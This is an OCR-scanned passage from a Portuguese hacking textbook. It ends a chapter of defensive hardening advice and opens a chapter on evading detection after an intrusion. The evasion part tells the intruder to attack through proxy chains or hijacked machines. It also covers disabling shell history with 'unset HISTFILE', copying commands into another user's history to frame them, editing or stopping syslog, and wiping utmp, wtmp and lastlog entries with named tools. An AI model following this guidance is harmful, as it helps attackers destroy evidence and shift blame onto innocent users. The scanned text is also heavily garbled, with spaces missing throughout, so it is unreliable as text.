  • IUniversidadeH4CK3RI Antesdemaisnada(ou,comodiriaumcompanheirode softwarelivre,em "zerézimo"lugar),eduque-see eduqueseusfuncionáriosou familiaresquanto a práticassegurasde utilizaçãode recursosde informáticae navegaçãona Internet.Issoincluios famososbordõesqueasmamãesnos disserama vida toda(e dizematémorrer):nãoaceitebalinhade estranhose nãoaceitebali- nhasestranhasdepessoasconhecidas.Cuidadocomasdrogas(Le.Coisasque vocêsabequesãoperigosas)e muitocuidadoquandoandaremlocaisermos, poucoiluminadosoususpeitos.SãoconselhossábiostambémparaaInternete paraasredescorporativas.É, mamãetinharazão... É óbvioqueo usuáriocomumnãotemcomosaberse algumprogramaé nocivoou foi adulterado,ou seaquelesitecontémcódigomalicioso,ou seo documentointernodaempresa(e,portanto,oficiale autorizado)emformato .DOC contémalgumvírusde macro...Masum poucode cuidadoe alguma paranóiapodelivrarmacacovelhodeváriascumbucas. Quantoaoscuidadospuramentetecnológicosquepodemserimplementados, em primeirolugartenhasempreantivíruse firewalls locais(baseadosem software)atualizados.Sim,euseu,láatráseudisseque,casoo atacante(ouo vírus)fosserealmentebom,essasferramentasnãoiriamservirparanada.En- tretanto,seremos"visitados"muitomaispor molequestentandobrincarde "r4qu3r"do quepor bandidosdigitaiscomalgumprofissionalismo. Portanto,firewallslocaiscomoo ZoneAlarm,BlackIceouoTinyFirewallajudam muitoamanteralegiãodekiddieslongedeseuscomputadores.Aomesmotempo, umbomfirewallde rack(comoo CiscoPIX) ou implementadocomumUnix (velhos386comLinuxou OpenBSDdãoexcelentesfirewalls),comregrasde filtrageme,depreferência,comconexõesviaproxy,tambémajudaa barraros lammers.Sugerimosimplementar,sejaemcasaouemumaredecorporativa,am- bosostiposdefirewall:local(porsoftware)enopontodeconexão(porhardware). Damesmaformao, antivírusdevemserusadosparabarrarosvírusconheci- dos.Mesmoqueos antivírusnãodetenhamumapequenapartedosvirusco- nhecidose praticamentetodososdesconhecidos,seuusoé obrigatório.Nãoé porqueestágripadoe nãoháremédioparaissoquevocêirádeixardetomar umanalgésicoparaa dor decabeça. Umoutropontoimportantea serobservadoé:conheçao softwarequeestá instaladoemseucomputador.É comum,emcasa,quebaixemose instalemos qualquerbobagembacanaqueencontremosna Internetou quevenhaemre- vistascomCDs.Talpráticadeveserevitadaemcomputadoresdomésticose terminantementeproibida emcomputadorescorporativos.Conhecendoos softwaresinstaladosno computador,ficaráfácil (emalgunscasos- noutros não...)de notaralgumacoisaestranharodandonamáquina. Um terceiroitemobrigatóriodesegurançaé a adoçãodepolíticasde usuá- rios e administração.As estaçõesdetrabalhoemempresasdevemempregar softwarese sistemasoperacionaisquepermitamum controletotalpor parte 13321 Ataque, defesa e contra-ataque:Manutenção[
  • Universidade30ano dosadministradores,e querestrinjamaomáximoo queo usuáriocomumpode fazer.Issoincluibloqueara instalaçãodeprogramase acessoa áreasnãoauto- rizadasdo computador(comoo diretórioC\WINDOWS ou o Ibin emmáqui- nasUnix).Há empresasqueusamMacintoshescomMac OSX, ouWindows NT/2k/XP,ou mesmoalgumUnix paraPCs como o FreeBSDou o Linux.A escolhaé corretíssima,poisessessistemaspermitemmontarpolíticasdedirei- tossobreo computadore impedirqueosusuários(ou algumvírusou cavalo de tróia)instalemsoftwarenãoautorizadona máquina.Masde nadaadianta colocarumWindowsXPProfessionalcomoestaçãodetrabalhoenãoconfigurá- 10parasegurança,deixando-ocomasopçõespadrão.Deve-sefazera sintonia fmae retirardo usuáriocomumtodasaspermissõesde acessoquepossivel- mentesejamdanosasparaa estaçãoe paraa rede. Mesmoemcasa,os usuáriosdomésticosdoWindowsNT/2k/XP e Mac OS devemcriarcontasde usuáriosemmuitaspermissõese efetivamenteusar essascontasno dia-a-dia!!!Deixea contado administradorapenasparaad- ministraçãoe instalaçãodeprogramas.O mesmovaleparaos jánãotãopou- cosusuáriosdomésticosdeLinux.O Linux(e qualquerUnix) jávem"defábri- ca"comesseesquemadeusuáriose permissões.Mas(sempretemummas)os usuáriossempre"dãoum jeito"de subverteresseesquemae comprometera segurança.Coisascomosubvertero usodo o sudo ou operarcomo usuário root (o maiorsacrilégiodetodos)sãomuitocomuns. Sevocêfoi infectado,nãousequalquerferramentasdedesinfecçãoquenão sejadeprodutoresidôneos.Baixarumaferramentade umlocalsuspeitoque prometeretiraro Sub7do seucomputadoré loucura.Elepodetantofazero que promete,como removero Sub7e instalaroutro backdoor,ou ainda "patchear"o Sub7paraqueseuantivírusnãoo detecte- maselecontinualá. Quantoaosrootldts,umagrandemaneirade evitá-losé nuncadeixarum usuáriocompoderessuficientesparachegaràspartescríticasdo sistema.Um rootkitprecisaserinstalado.Mesmoqueainstalaçãosejaautomática,elesem- prerodaráno contextodousuário.Deixarosusuárioscomníveismínimosde acessopode dificultara instalaçãoe açãodos rootkits.Além disso,a conta Administradorou root deveserobservadae guardadaa setechaves.Senhas difíceisde quebrarou mesmode adivinharsãoobrigatórias.Aplicativosque nãorodemcomoroot/Admin(nunca!)e portantoisolandoa contaprincipal de qualquerbufferoverflowtambémsãoimportantíssimos. Mesmosistemasbemprotegidos,atualizadose configuradospossuemfalhas.Por- tanto,épossívelqueumdiaalgumhackerconsigaacessoprivilegiadoaseusistema. Paradetectardesviosdeconfiguraçãoe instalaçãoderootkits,instaleIDSse progra- masde inventáriodeintegridadedearquivos- Tripwire(www.tripwire.com)e AIDE(wwwcs.tut.fi/-rammer/aide.html)sãoosmaisconhecidos.Verifiqueasassi- naturasdetodososprogramasinstaladoseaintegridadedosarquivosdeconfigura- ção.Todososdesenvolvedoresdesoftwaremodernospossuembancosdedados comasassinaturasMD5deseusexecutáveiscríticos. 13331 Ataque,defesae contra-ataque:Manutenção
  • IUniversidadeH4CK3RI Quantoarootkitsbaseadosemkernel,emprimeirolugar,nãodeixequecheguem aoseunúcleo!Paracomeçar,seo seusistemapennitir(esevocênãousarnenhum móduloimportante),desabilitea opçãodecarregarLKMs.Vaipouparmuitasdores decabeça.Seforo casoe, sepossível,recompileseukerneloupeçaparaseuforne- cedorfazê-Io.UmkernelimuneaLKMscertamenteestaráimunearootkitsLKM. No casodosWindows(mesmodafamíliaWinNT),quenãopossuemumesque- maformaldeLKMs,aúnicamaneiradeevitarkernelrootkitsé impedirqueos arquivossensíveispossamseralteradospor qualquerusuário,alémde cuidar paramantera senhadoAdministradoremsegurança.Um truquemuitousadoé deixara contachamadaAdministradorcomumasenhadifícilmassemdireito algumsobreo sistema,e assimcriarumdespisteparainvasores.Cria-se,então, outraconta,comoutronomeeumasenhaigualmentedifícil,e esteusuárioserá o administradordefato.E desabiliteo suportea LanManager. Notequeé possívelsimulara implementaçãodeLKMsnoWmdowspormeiode VxDs(releiao capítulosobrePlataformasWmdows)e,portanto,o acessoà pasta C\WINDOWSouC\WINNTdeveserbloqueadoatodocustoparausuárioscomuns. Umamaneiradeverificarosdiscosrígidosàprocuraderootkits(sejambasea- dosemkernelounão)éretirá-Ioseintalá-Iosemumamáquinasã,semdireitode execuçãode programas.OsHDsserãoconsideradoscomodrivesdedadosno sistemadetestes,e comonãosãoo kernele osprogramasinfectadosqueestão rodando,esimosdamáquinaconfiável,todososarquivosealteraçõesdosrootkits ficarãoaparentese passíveisdeverificação.Paraverificarse um rootkitestá farejandoa rede, rode,vocêmesmo,um sniffercomoo Ethereal.Verifiqueos modosdeoperaçãodaplacaderede.Se,mesmocomo sniffer,a interfacenão aparecerem modopromíscuo,umrootkitseguramenteo estácamuflando. Em últimocaso,não aproveitenadade um sistemacomprometido.Faça backupdosdados(e apenasdosdados,não daconfiguração!!!)e reformate completamenteo sistema,reinstalando-odozero.Nãoesqueçadeconfigurá-Io e atualizá-Iocompletamenteantesdeo colocaremprodução,casocontrárioo invasorpodeentrarnovamentepelomesmoburacodeantes.Guardeumacó- piadoHD comprometidoparafuturaanálisee investigaçãodoataque.Sepos- sível,guardeo HD originale coloqueumnovono lugar.É possívelqueo inva- sortenhadeslizadoemapenasumdetalheínfimo,masessedetalhe,sedesco- berto,podelevarà sualocalizaçãoe,sea lei permitir,a suaprisão. Umaúltimadica:Echolot(echolot.sourceforge.net). Comunicaçãosem conexões Enveredamosemterrenopantanosopor aqui.Todasasrecomendaçõesaci- masãoimportantese obrigatórias,masnãofreiam,deformaalguma,especia- listasdeverdadequequeirampenetraremseussistemas. Nãohánenhumprogramacomercialquedesempenheoufaciliteasfimçõesabaixo. A maioria,entretanto,é possíveldefazerapenascomasprópriasconfiguraçõesde sistemaoperadonal,semferramentasexternas.Observequesãomedidasextremase 13341 Ataque,defesae contra-ataque:Manutenção[
  • Universidade3°ano quepodemservistascomoparanóiaoumesmobobagemporadministradoresexpe- rientes.MasPOdemserlevadasacabocasoseprecisedesegurançamáxima. Emprimeirolugar,deve-seaplicartodaa cartilhae fazera configuraçãode segurançanormalquetodosistemadeveter.Issoé pré-requisito. Depois,deve-serestringiro acessoàpilhaTCP/lP (emcadamáquinadarede!). Apenasprogramasautorizadospodemteracessoàpilha,e mesmoosautoriza- dosdevemserverificadosquantoà suaassinaturaMD5.Qualquerdesviodeve serbloqueadoe informadoao administrador. No casodeservidores,cadaum dosprogramasdeveserexecutadocomum usuáriodiferente,ecadausuáriodessesdeveteracessoaumconjuntodiferentede diretórios,arquivos,bibliotecas,numambienteque,emUnix,chama-sechrooted. Mesmoo diretóriotemporário(jtmpou C\WINDOWS\TEMP)deveserdividido porprocesso(jtmp/apache,/tmp/sendmail,/tmp/popd,/tmp/tripwire,etc.)ecom . permissõesde escritasomenteparao usuáriocorrespondente.Dessaforma,mes- moqueumafalhasejadescobertae exploradaemumdosaplicativos,eleestará confmadoemseuambientepróprioe nãodaráacessoaoutraspartesdosistema. Depois,bloqueia-seo acessoa todasasbibliotecase cria-seimagensseparadas delasparaaplicativo- e restritas!Porexemplo,emumamáquinaWinNTpode-se bloquearcompletamentetodasasDLLsdo sistemae depoiscriarimagenscom RUNASparacadausuário(que,comovimos,representaumúnicoprograma). Porúltimo,umaidéiaémontartodasasLANsinternascomoVPNscriptografadas por PGP (ououtroformatoqualquer).Alémde bloqueartráfegovindode fora (porquenãobatecoma criptografiae aschavesusadas),é possívelconceber políticasdeacessofortementeprotegidas.Apenasusuáriose máquinascoma chavecorretapodemacessardeterminadosrecursos- édificílimocontornartal esquema.Apenasosservidoresexternos(comoseuservidorWeb)ficarãoforada VPN e aceitarãoconexõesTCP/lP nãocriptografadas. E,novamente,relembramos:a famíliaWin9x nãofoi desenvolvidaparaser clientederede.A pilhaTCP/lP e todaa funcionalidade5MBfoi enxertadade- pois.Portanto,nuncaespereconfiabilidadee segurançadelas.Em umarede corporativasegura,nemasestaçõespodemserWindows95/98/Me.Evite-as. Sefor realmenteprecisousarWindowscomoestaçãodetrabalhoou servidor, usesempreWindows2000ou superior. Estamosquaselá... Já vimoscomoobservar,traçarnossoplano,atacare mantero ataque.Falta- nos,agora,escondernossosrastros.O proximocapítulotratarádisso.Masan- tesde continuar,umapergunta:vocêestárealmentefazendoasexperiências ousimplesmentelendoo livrocomoaumromance?Exortamo-Iofirmementea fazertodasasexperiências,desdeos primeiroscapítulos.Casonãoastenha feito,volteaoprincípioe comecedenovo. ':4.lição já sabemosde cor.Só nos restaaprender...",Beto Guedes e Ronaldo Bastos. 1335I IAtaque, defesa e contra-ataque: Manutenção
  • Ataque,defesae contra-ataque: Evasão Em diade vitória,ninguémfica cansado" Provérbioárabe
  • IUniversidadeH4CK3RI Nãoimportaseoobjetivodoataquesejacausarrebuliçoouobtersecretamente algumproveito:qualqueratacanteque se prezenãodesejaser rastreadoe muitomenosapanhado.Algunsdetalhesdevemserobservadosparaque,de- pois de umainvasãodo tipo"obrade arte",a determinaçãodo culpadoseja impossívelou muitodifícil. No capítuloanterior,quandofalamosemrootkits,vimosque elespodem esconderumsem-númerodedetalhese,assim,mascararapresençaeaaçãodo hackernocomputadoratacado.Entretanto,seguro,morreudevelhoe,comou semrootkits,é altamentedesejávelqueo invasortomeprovidênciasparaapa- gartodososrastrose vestígiosdesuapassagempelosistema.Emváriasplata- formashá ferramentasqueo fazemautomaticamente,masentenderosmeca- nismosderegistroé muitoimportanteparaconferira eficáciadessasmesmas ferramentasou parafazertudo"namão",na faltadelas. Outrodetalheparao qualo invasordeveestaratentoé a camuflagemdos canaisdecomuicaçãoentreelee amáquinainvadida.Comovimosnocapítulo anterior,hámaneirasdetornarinvisívelo fluxo dedadosdeumbackdoorou cavalodetróia,simplesmenteescondendoosbytessendotransmitidos/recebi- dosemconexõesválidas.Nestecapítulo,veremosmaisalgumasmaneirasde fazeressasconexõesinvisíveis. Antesdefalarmosemevasão,lembre-sedequeo disfarceanterioraoataque é importante.Sevocêpretendeinvadiralguém,lembre-sedeusaralgumtipo despoofmgantes,como,por exemplo,cadeiasdeproxiespúblicosoumáqui- nas-IaranjarodandoredirecionadoresNetcat.UsarseupróprioIP paramirar emalguémé burrice. o básico:apagandooslogs Mesmokiddiesmuitoruinssabemquedevemapagarseusrastrosnosregis- trosdo sistema.A primeiracoisaquesetemdesaberé,então,ondeestãotais registros.Umavezcomacessoaeles,deve-setersempreemmentequenãose pode apagá-Iostodos,casocontrárioserãolevantadasmuitassuspeitassobre o sistema.Apagueapenaso quehouversidocausadopelassuasandançasem terrenoalheio.E cuidado:algunssistemaspossuemIDSs,outrosverificadores deintegridadedearquivos,ealguns,ainda,possuemlogsemlocaisnão-padrão, deixandologsfalsosno localpadrãoparaenganarinvasoresde meia-tigela. Lembre-se:verifiquelinhapor linha,umarquivoporvez,todososarquivosde logoProcurepor cópiasdelesemlocaisnãoóbviosdo sistemae, senotarque estáemumhoneypotl,fuja! 1.Comovimosemcapítulosanteriores,honeypotssãosistemasintencionalmentedeixadoscomo"boi depiranha"paraqueos wannabehackersataquem.Normalmente,sãosistemasfracamenteprotegidos, comfalhasintencionaise sistemassilenciososde detecçãode intrusos.Muitos IDSsinclusivedesviam silenciosamenteo intrusoparaoshoneypotssemqueelespercebam.Alémdamarcaçãocerrada,quandoa presaé aparentementefácil, o invasortorna-sedescuidado. 13381 Ataque,defesaecontra-ataque:EvasãoI
  • Universidade3aano Registrode eventosUnix Encaremososfatos:mesmotendopadrões,protocolosenormasemcomum,os Unicessãodiferentesentresi.Cadasaborpossuiumtipodistintodesistemade arquivos,hierarquiadediretórios,codificaçãodecaracteres,sintaxedoshellna- tivo,conjuntodecomandospadrão...Háinclusivecomandosque,mesmopossu- indoomesmonomeemtodasasvariedades,fabricanteseversõesUnix,possuem sintaxediferente- ps, routee,mesmo,o 1ssãodoisexemplosclássicos.O siste- maderegistrodeeventosnãoseria,portanto,imunea essasdiferenças. É impossívellistaremumlivro comoestetodosos tipose particularidades delogsnasdiversasversõesdossabores.Utilizaremos,então,o sistemaLinux comomodeloparaexemplificarumasessãode"cirurgia"nos logs.Sealgum scriptkiddieestiverlendoestecapítulo,provavelmentepulou esteparágrafo e vai tomara descriçãoabaixocomoreceitauniversalparaapagamentode seusrastros.Nossaintenção,entretanto,é outra:mostraro quevocêprecisa procurar,nãoonde,e nemcomo... A primeiracoisaquedeveserverificadaé o históricodecomandosdo usuá- rio.Nãoé exatamenteumlog;antesdisso,éumalistadecomandosjáemitidos quefica à disposiçãodo usuárioparaquenãoprecisemserdigitadosnova- mente.Issoevitatrabalhorepetitivoparao operador- e,comoefeitocolateral, dáaoadministradorumaformadesabero queo usuárioandafazendo... Nemtodosos shellsimplementamum históricode comandos,e cadaum guardao históricoemumarquivoelocaldiferente.Apenasatítulodeexemplo, umsistemaLinuxnormalmenteusaaversãoGNUdoBoumeShell,o Bash.Esse interpretadordecomandosguardao históricodetudoo quefoi digitado(in- clusivesemsucesso)no arquivo/home/usuário/.bash_history.É um arquivo detextopuro,portanto,bastariaeditá-Ioparaesconderseusrastros.Umama- neiramaisefetiva,entretanto,seriasimplesmentedesativaravariáveldesiste- maHISTFILE,queindicaondeos comandosdevemserarmazenados.Paratan- to,bastaemitirunsetHISTFILE.Pronto!A partirdaí,nadamaisseráregistrado (nemo própriounset!)Essedeveriasero primeirocomandoa serfeito,masa maioriados"invasores"esquece...ou nãosabe... EmUnicesquenãousemBash,umaoutramaneiraé, simplesmente...trocar deshell!Épossível(emuitoprovável)queo shellpadrãopossuahistórico,e os demaisnão.Portanto,sevocêconseguiuumacontae o shellpadrãoéo Boume Shell(prompt$)simplesmentemude-oparao C Shelldigitandocsh.Seo shell padrãoéjustamenteo C Shell(prompt%),mudeparao BoumeShell,digitando sh.Arazãoparausarshecshéquequalquerumdosoutros(bash,zsh,ksh)têm rotinasdehistóricodecomandoscompletamenteimplementadas. Paraajudara desviarsuspeitas,um atacantemaisousadopoderiadesviaros comandos(ou copiá-Ios)do seupróprio históricoparao de outro usuário. Mesmoqueo sistemaestejasobsuspeita,duranteumtemporazoávelossantos pagarãopelospecadores. 13391 ]Ataque,defesae contra-ataque:Evasão
  • IUniversidadeH4CK3RI Depoisdeenganaro históricodo shell,temosdeapagaros rastrosnoslogs do sistema.NamaioriadosUnix,o daemonresponsávelpeloregistrodoslogs de sistemaé o syslogd.EmqualquerUnix invadido,portanto,é interessante pesquisarnosarquivosde configuraçãodo daemon(que,no Linux, fica em /etc/syslog.conf- masissovariaemoutrosUnices)e verificarquaisos no- mesdosarquivosderegistrodeeventose onde estãogravados. Comousuáriocomum(nãoroot)emumConectivaLinux9, o arquivo/etc/ syslog.confmostra: $ cat /etc/syslog.conf # Log alI kernel messages to the console. # Logging much eIs e clutters up the screen. #kern.* /dev/console # Log anything (except mail) of leveI info or higher. # Don't log private authentication messages! *.info;mail.none;authpriv.none /var/log/messages # The authpriv file has restricted access. authpriv.* /var/log/secure # Log alI themail messages in one place. mail.* /var/log/maillog # Everybody gets emergency messages, plus log them on another # machine. *.emerg * # Savemail and news errors of leveI err and higher in a # special file. uucp,news.crit /var/log/spooler # Save boot messages also to boot.log locaI7.* /var/log/boot.log Obviamente,cadaumdosarquivosindicadosno syslogdpossuiumafunção diferente.Todasaslinhasmarcadascomum#sãoconsideradascomocomentá- riose ignoradas.O campodaesquerdadefineumasériederegrasderegistro a seremaplicadasàsmensagens.Oscamposdadireitaindicamemquaisarqui- vos os registrostêmde sergravados.Observeque,no syslog.confacima,o ftltrokem.. estádirecionadopara/dev/conso1e- ou seja,asmensagensdo kemelseriamecoadasno terminal,casoalinhaestivessedescomentada.Como sepodever,dispositivostambémpodemserusadospara logging,alémdos arquivoscomuns. 1340I Ataque,defesaecontra-ataque:EvasãoI
  • Universidade3aano Peloquepodemosobservardo syslog.conf,temos,em/var/log, ~/var/log/messages:registratodasasmensagensdenívelinformativodosistema. ~/var/log/secure:registraacessoa arquivose processosrestritos. ~/var/log/maillog:registramensagensde e-mailenviadase recebidas. ~/var/log/spooler:registraerrosemtrocasde Mail,UUCP e News. ~/var/logiboot.1og:registraeventose errosduranteo boot. Novamentelembrando:essaslocalizaçõessãoparao ConectivaLinux 9111 Procureno próprioUnix invadidoquaisaslocalizaçõesreaisdosarquivos.É possívelqueo númeroe afunçãodelessejadiferente:podehaverumarquivo apenascomtodososlogs,oupodemhaver,por exemplo,umarquivoseparado paraUUCP e outroparae-mail.Scriptkiddiesnormalmenteusamferramentas escriptsdeapagamentodelogsdeumsistemaemoutroe,emvezdeseescon- derem,acabamcriandomaismensagensdeerronoslogse alertantoo adminis- tradormaiscedodo queo esperado.Olheantesdeagire façaa coisacerta. Umavezdescobertosquaisos arquivosresponsáveispelo registrode even- tos do Unix sobataque,podemospassarà ediçãodeles.Apesarde existirem ferramentasqueaplicamcriptografiafortenosarquivosde log, a grandemai- oriadossistemasaindausamo bome velhotextopuroparagravá-los.O que significaqueo hackerpodeusaseueditordetextospreferido(emacs,vi, joe, pico...)paraeditá-Iomanualmente.Os autoresrecomendamsempreeditar manualmenteosarquivos,evitandoquesujeira,errosouimprecisõesnosscripts queo fazemautomaticamentepossamcolocartudoa perder. Aindano CL9,vamosaodiretório/var!loge vejamoso quehápor lá: $ ls XFree86. o.10g boot.log. 4 XFree86. o.10g.old cron apache cron. 1 boot. 10g cron. 2 boot .10g.1 cron. 3 boot.log.2 cron. 4 boot.log.3 cups Observe:alémdosarquivosdosyslogd,o diretório/var!logcontémosregistros deoutrosprogramase servidoresquerodamnamáquina,comoApache,Samba, CUPSe o XFree86.Convémverificaroslogsdetodoseles,umavezquealguma açãosua(intencionalounão)podeterdeixadomarcasemqualquerdeles. Ocupemos-nosprimeirodoscincoarquivosdo syslogd.Aindacomousuário comum,abra(comseueditorde textosfavorito)o arquivoboot.1og.Nelees- tãoosserviçossendoexecutados,osmódulosdokemelcarregadose osservi- doresquesãoiniciadose finalizadospeloinetd.Notequeháoutros,chamados boot.1og.1,boot.1og.2,etc,que guardamlogs antigos.Agoratenteescrever qualquercoisae salvaro arquivo(semprecomousuáriocomum).Permissão negada!Os outrosarquivos- maillog,messages,securee spooler - sequer dãopermissãode leituraa usuárioscomuns. 1341I I Ataque,defesae contra-ataque:Evasão dmesg mai11og. 2 messages. 4 netconf .10g. 3 secure. 4 vtund htmlaccess.log mai 110g. 3 mysql.log samba spooler wtmp iptraf mai11og. 4 mysql.log.l.gz scrollkeeper.log spooler.l wtmp. 1 kdm.10g messages nagios secure spooler. 2 lastlog messages.l netconf.10g secure. 1 spoo1er. 3 mai110g messages. 2 netconf. 10g.1 secure.2 spoo1er. 4 maillog.l messages. 3 netconf .10g. 2 secure. 3 uucp
  • I Universidade H4CK3R I Logue-secomoroot(ou,emumsistemainvadido,consigaacessoarootusandobuffer overflowou outratécnicaqualquer)e abraos arquivos.Verifiqueassintaxesdeles. MaillogregistraaatividadedeSMIP,IMAPePOP locais(sendmail,postfix,qmail,imapd, pop3d...).Messagesé muitoimportante:registraasmensagensentreprocessose en- treeleseo keme1.Secure,por outrolado,registramensagensdeacessoprivilegiadoa arquivose processos.Por suavez,spoolerguardaasmensagensoriundasdeprogra- masqueusamosserviçosdespool(mail,uucp,news,etc).Mesmoquevocênãotenha mexidocomo servidorde SMfP ou POp,é prudenteverificartambémos arquivos/ var!log/mailloge /var!log/spoole tercertezade que,inadvertidamente,vocênãodis- paroualgumprocessoquetenhaalteradoo logoO mesmovaleparaqualquerproces- so ou arquivo,portantoum cuidadogeralno logé primordial. Voltando ao /etc/syslogd.conf,a linha # Everybody gets emergency messages, plus log them on another # machine. *.emerg indicaquequaisquermensagensdeemergênciadosistemaserãoecoadasatodos oslogse a todososusuários.Cuidadocomisso:seo sistemadetectarcoisasestra- nhasacontecendo,épossívelquetodososusuáriossejamavisados- portanto,uma boaidéiaépararoserviçosyslogdoureiniciá-locomessalinhacomentada.Consulte aspáginasdemanualdosyslogde dosyslog.confnoUnixafetadoparadetalhes. Mas,alémdoqueémonitoradopelosyslogd,háoutrosarquivosderealimpor- tância.Umdeleséo sistemautmp/wtmp/lastlog.O utmpé umsubsistemaque registraquemestáconectadono presentemomento.Quandoo usuário(ou o administrador)emiteumcomandowho, o comandovailerem/var/run/utmp asinformaçõessobretodasascontasemuso,emquaisterminaiselasestãoe,se forumaconexãoremota,o Wdeorigemdaconexão.Porexemplo,nomomento emqueestaslinhasestãosendoescritas,o comandowho informa: henrique pts/O Feb 16 14:42 henrique pts/1 Feb 16 16:07 Entretanto,eu possodizerao comandowho emqualarquivoolhar.Seeu emitiro comandowho /var/run/utmp,o resultadoseráo mesmo:who sem argumentossemprelê o arquivoutmp.Mase seeupedirparawho consultar em/var/log/wtmp? henrique pts/3 henrique pts/3 james pts/O root tty1 henrique tty2 henrique tty3 root tty4 root pts/O root pts/1 Jan Jan Fev Fev Fev Fev Fev Fev Fev 13421 Ataque,defesae contra-ataque:Evasão I * 9 05: 14 9 05: 16 2 11: 50 5 22:16 5 22:17 5 22:23 5 22:40 5 22:49 5 22:52 (192.168.1.229) (192.168.1.229)
  • Universidade3aano o arquivoé muitogrande,entãomostramosapenasalgumaslinhas.Observe: No dianovede janeiro,o usuárioHenriquefez duasconexõesa estamáquina (que,atítulodecuriosidade,eraa192.168.1.11)apartirdeoutra,a192.168.1.229. No diadoisdefevereiro,o usuárioJameslogou-selocalmentenamáquina,e no diacincoo usuárioHenriquelogou-secomorootváriasvezes. O comandolastfazum cruzamentode informaçõesentreos arquivos/var/ log/lastloge /var/log/wtmpe mostrana telaasinformaçõesdetalhadasdos últimosdiassobreos temposde logine logoutde cadausuárioe mesmode rebootdamáquina.O comandolastlog,por outrolado,mostraquandocada um dosusuáriosdo sistemalogou-sepelaúltimavez.Um usuáriodesativado quetenhadadologinontemé umeventoalarmante. Parao administradordesistemas,usaros comandoslast,lastloge who para verificaro /var/log/wtmpé umamedidatantopreventivacomocorretiva.Por- tanto,é imperiosoparao crackerquequerapagarseusvestígiosexcluitodas asmençõesaelenessesarquivos.Entãonossointrépidoinvasorusao pico (...) paraeditar,por exemplo,o /var/log/wtmpe temumadesagradávelsurpresa: o arquivonãoé detextopuro,masbinário!O mesmoocorrecom/var/run/ utmpe com/var/log/lastlog.Então,o quefazer?Desespero... Conformedissemosantes,háferramentasautomáticasparalimpezado utmp, wtmpe lastlog.Umadelas(entremuitas)é o Hide (www.hoobie.net/security/ exploits/hacking/hide.c).Estepequenoprogramaapagaasentradasdo usuário queo executouno arquivoutmp,casoestejaliberadoparaescritaparaaquele usuário.Obviamentesistemasmodernosnãocometemessatolicee deixamo utmpliberadoapenaspararoot,masé umaexcelenteprovadeconceito. O código-fontedoprograma,sendopequeno,éfácildeentender.Obviamente a estaalturao leitorjá devesaberqueteráde compilaro programinhapara queelefuncione.Dependendodosistema,podemsernecessáriasalgumasalte- rações.No ConectivaLinux9,por exemplo,bastousubstituirtodasasfunções exit() porexit(O).Nota-seaíqueo candidatoahackerdeveobrigatoriamente aprenderaprogramar(ou pelomenos,a"sevirar")emC e C++.Sevocênão queraprendera programar,bem,jogueestelivro fora:vocênãoquer,defmiti- vamente,elevarseuníveltécnico,masapenasaprenderreceitinhasdeataque simples.Hackersriemdevocês,enquantoisso. No mesmositeencontramosoutraferramentamuitofamosa,desenvolvidapelo não menos famosohacker Simp1eNomad, chamada(puxa...) Remove (www.hoobie.net/security/exploits/hacking/remove.c).Comela,é possívelremo- verquaisquerusuáriosdequalquerumdostrêsarquivosutmp,wtmpe lastlog.Foi desenvolvidaparaAIX,maspodeserfacilmentecompilada(comoestáoucommodi- ficaçõessimples)emqualquersabordeUnix,incluindolinuxe{Free,Open,Net}BSD. Alémderemoverosregistrosreferentesa qualquerusuário(e nãoapenasaoque executaraferramenta,comoo Hide),o Removepermitequesealtereo últimousu- árioquefezlogine o localdelogin(IP,seremoto;ttyoupst,selocal). 13431 I Ataque,defesae contra-ataque:Evasão
  • IUniversidadeH4CK3RI Compilee testeos doisprogramasemsuamáquinade testes.Façavárias experiências,comoaumentare diminuiro níveldepermissõesdosseusutmp, wtmpe lastloge rodarasduasferramentas.Noteque,numataquereal,o inva- sornormalmenteprecisadeum shellrootpararodaro Remove,emboranão precise,necessariamente,de tantosprivilégiosparaatacaro sistema.Depois debrincarcomesses,procurepor outrostiposde ferramentas.Nomesmuito comunssãoCloak,Cloak2(ou Cloak-2)Zape LogWEdit.Muitosrootkitspos- suemferramentas(embutidasou não)paraediçãodessesarquivos.Veja,por exemplo,adocumentaçãodoKnarke doIrk5.Maslembre-se:nuncauseapeça redondanoburacoquadrado!Pesquisesobreaferramentacorretaparao Unix queestásendoatacado. Casonenhumadessasferramentasestejadisponívelno momento,algunstru- quespodemajudá-Ioapermanecerescondidopor algumtempo.Por exemplo, quandoseacessao sistemapor umaconta"hackeada",provavelmenteo acesso vaificargravadonoarquivolastlog,como IP deconexãoouo nomededomínio correspondente.Paraapagarisso(aomenosno lastlog),umavezfeitoo login comsucesso,rodeo comandorlogin namesmaconta.Pronto!Agora,o último logindestacontaterásidolocal,e noarquivolastlogaparecerá"fromlocalhost". Faltaenganaro comandowho.Umavezlogadonosistema(edepoisdeenga- naro lastlog...),useo comandologin eforneça,novamente,o usuárioe senha destaconta.DependendodoUnix (e dequantoeleestáatualizado...),issoes- conderáa origemdaconexão,fazendoo comandowho pensarque alguém estáconectadolocalmente. Paraterminar,procurepeloslogs específicosdos servidorese aplicativos querodamno computadorinvadido.Alémdoslogsde sistema,procurepelos doApacheoudoservidordeFTP'Cadasistemae saborUnixpossuemdaemons deversõeseprocedênciasdiferentesecomumprocedimentodiversodelogging. Nãovamosdiscorrersobretodasaspossibilidadesaqui,poistomariao espaço devárioslivroscomoeste;masé imperativoqueo leitorpesquisesobreisso no ambienteinvadido.É justamentepor issoquea observaçãoé importante, antesdefazerqualquercoisa. Comotarefaparacasa,experimenteverificaros logsdoApachee do Squid emsuamáquinadetestes.Experimentesimplesmenteconectar-seaelaapartir deoutramaquinacomoumusuárioregular(por exemplo,façaumaconexão SSHa ela,use-acomoproxy com o Squidou acesseumapáginaHTML de testes).Depois,sigatodosospassosdeinvasãovistosnoscapítulosanteriores, desderodarum nmapcontraa máquinaatérealmenteconseguirroot por algummétodoe alteraralgumacoisa.Observeatentamenteosarquivosdelog evejao queacontece. Última dica:www.hoobie.net. 13441 Ataque,defesaecontra-ataque:Evasão[
